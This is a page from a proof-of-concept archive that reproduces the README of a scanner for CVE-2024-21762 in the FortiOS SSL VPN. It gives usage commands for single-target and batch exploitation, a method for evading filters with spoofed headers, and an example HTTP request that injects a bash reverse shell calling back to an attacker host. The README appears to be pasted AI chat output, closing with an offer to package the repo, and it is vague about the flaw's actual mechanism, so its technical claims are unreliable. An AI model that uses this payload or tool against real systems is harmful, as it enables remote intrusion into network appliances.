Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-21762 PoC — Fortinet FortiOS 缓冲区错误漏洞

Source
Associated Vulnerability
Title:Fortinet FortiOS 缓冲区错误漏洞 (CVE-2024-21762)
Description:A out-of-bounds write in Fortinet FortiOS versions 7.4.0 through 7.4.2, 7.2.0 through 7.2.6, 7.0.0 through 7.0.13, 6.4.0 through 6.4.14, 6.2.0 through 6.2.15, 6.0.0 through 6.0.17, FortiProxy versions 7.4.0 through 7.4.2, 7.2.0 through 7.2.8, 7.0.0 through 7.0.14, 2.0.0 through 2.0.13, 1.2.0 through 1.2.13, 1.1.0 through 1.1.6, 1.0.0 through 1.0.7 allows attacker to execute unauthorized code or commands via specifically crafted requests
Description
Proof-of-concept scanner targeting CVE-2024-21762 in FortiOS SSL VPN’s /remote/hostcheck_validate endpoint with reverse shell payload delivery.
Readme
# CVE-2024-21762_FortiNet_PoC
Proof-of-concept scanner targeting CVE-2024-21762 in FortiOS SSL VPN’s /remote/hostcheck_validate endpoint with reverse shell payload delivery.


Here’s a **GitHub-style writeup** for your project, including a clean and concise summary, a usage guide, and context on how it fits with the CVE.

---

## 🔥 Project Title: `CVE-2024-21762 FortiOS HostCheck PoC Scanner`

### 🧠 Summary (for GitHub description line):

> Proof-of-concept scanner targeting CVE-2024-21762 in FortiOS SSL VPN’s `/remote/hostcheck_validate` endpoint with reverse shell payload delivery.

---

## 📜 Overview

This Python script is a PoC (Proof of Concept) tool designed to **interact with Fortinet’s FortiOS SSL VPN interface**, targeting **CVE-2024-21762** — a stack-based buffer overflow or command injection vulnerability in the `/remote/hostcheck_validate` endpoint.

> **Disclaimer**: This is for educational and authorized testing purposes only.

---

## 🧬 How It Works

* Sends a crafted POST request to `/remote/hostcheck_validate` on a FortiGate SSL VPN interface.
* Injects a **bash reverse shell payload** in a simulated vulnerable parameter (`host`).
* Uses spoofed headers (`User-Agent`, `Cookie`) to bypass superficial FortiOS request filtering.
* Receives and logs server responses to assess exploitation success.
* Supports **single** or **batch** target testing with file input/output automation and progress bars.

---

## 🛠️ Features

* 🧪 Reverse shell payload injection via controlled form field
* 🧾 Full HTTP response capture for analysis (`last_response.txt`)
* 📊 Progress bar for tracking in single/batch mode
* 🗃️ Batch mode with input/output file support
* 🔄 Modular and extendable

---

## ⚙️ Requirements

* Python 3.6+
* `tqdm` for progress visualization

Install dependencies:

```bash
pip install tqdm
```

---

## 🚀 Usage

### Single Target Mode

```bash
python3 exploit.py --target 192.168.1.1:443 --callback-ip YOUR_IP --callback-port 8080
```

### Batch Mode

```bash
python3 exploit.py --input targets.txt --output results.txt --callback-ip YOUR_IP --callback-port 8080
```

* `targets.txt`: List of targets in `IP:PORT` format, one per line
* `results.txt`: Output log of exploit attempts

---

## 📥 Example Payload Sent

```
POST /remote/hostcheck_validate HTTP/1.1
Host: [target]
User-Agent: FortiSSLVPNClient/6.4.0
Cookie: SVPNCOOKIE=AAAA
Content-Type: application/x-www-form-urlencoded

host=bash -c 'bash -i >& /dev/tcp/[callback-ip]/[callback-port] 0>&1'&...
```

---

## 🔍 Logs

The tool writes the full HTTP response of each attempt to:

```text
last_response.txt
```

Use this to verify if the request was parsed, rejected, or if an error code was returned.

---

## ⚠️ Legal

This code is provided **for educational and authorized testing purposes only**. Do not use this on networks or systems you do not own or have explicit permission to test.

---

## ✍️ Author

Carter — Cybersecurity Engineer, Red/Purple Team enthusiast, PoC automation nerd.

---

Would you like this packaged into a `README.md` file + repo structure ready to push to GitHub? I can generate that next.
File Snapshot

[4.0K] /data/pocs/010e8a2ac1444e64ecd39b5f43788cb490690d36 ├── [ 999] http_c2_server.py ├── [1.0K] LICENSE ├── [2.7K] poc_check.py ├── [6.1K] poc_rce.py └── [3.1K] README.md 0 directories, 5 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →